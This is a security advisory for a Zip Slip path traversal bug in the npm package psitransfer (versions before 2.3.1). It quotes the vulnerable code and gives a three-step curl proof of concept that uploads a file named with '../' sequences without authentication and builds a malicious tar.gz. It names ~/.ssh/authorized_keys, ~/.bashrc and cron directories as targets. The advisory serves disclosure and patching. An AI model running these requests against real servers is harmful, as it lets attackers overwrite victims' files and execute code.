GHSA-xphh-5v4r-r3rx PsiTransfer has Zip Slip Path Traversal via TAR Archive Download

• npm psitransfer: < 2.3.1 → fixed in 2.3.1

Summary A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. `../../../.ssh/authorized_keys`). When a victim downloads the bucket as a .tar.gz archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE. Details The vulnerability exists in the archive download functionality in lib/endpoints.js where user controlled metadata.name is used directly without sanitization when creating TAR archive entries. ``` lib/endpoints.js:275 const entry = pack.entry({ name: info.metadata.name, size: info.size }); ``` ``` lib/endpoints.js:372 assert(meta.name, 'tus meta prop missing: name'); ``` PoC I. Upload file with malicious filename (no authentication required). ``` MALICIOUS_NAME=$(echo -n "../../../tmp/dp.txt" | base64) SID=$(echo -n "evil" | base64) RETENTION=$(echo -n "3600" | base64) curl -X POST http://TARGET:3000/files \ -H "Tus-Resumable: 1.0.0" \ -H "Upload-Length: 15" \ -H "Upload-Metadata: name ${MALICIOUS_NAME},sid ${SID},retention ${RETENTION}" ``` II. Complete upload with PATCH ``` curl -X PATCH "http://TARGET:3000/files/evil++" \ -H "Tus-Resumable: 1.0.0" \ -H "Upload-Offset: 0" \ -H "Content-Type: application/offset+octet-stream" \ -d "MALICIOUS_CONTENT" ``` III. Victim downloads and extracts TAR ``` curl "http://TARGET:3000/files/evil++.tar.gz" -o files.tar.gz tar -tzf files.tar.gz ``` Impact Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive. RCE: By targeting ~/.bashrc, ~/.ssh/authorized_keys, cron directories etc... No Authentication Required: Default configuration has uploadPass: false. Social Engineering Vector: Attacker sends malicious download link to victim.
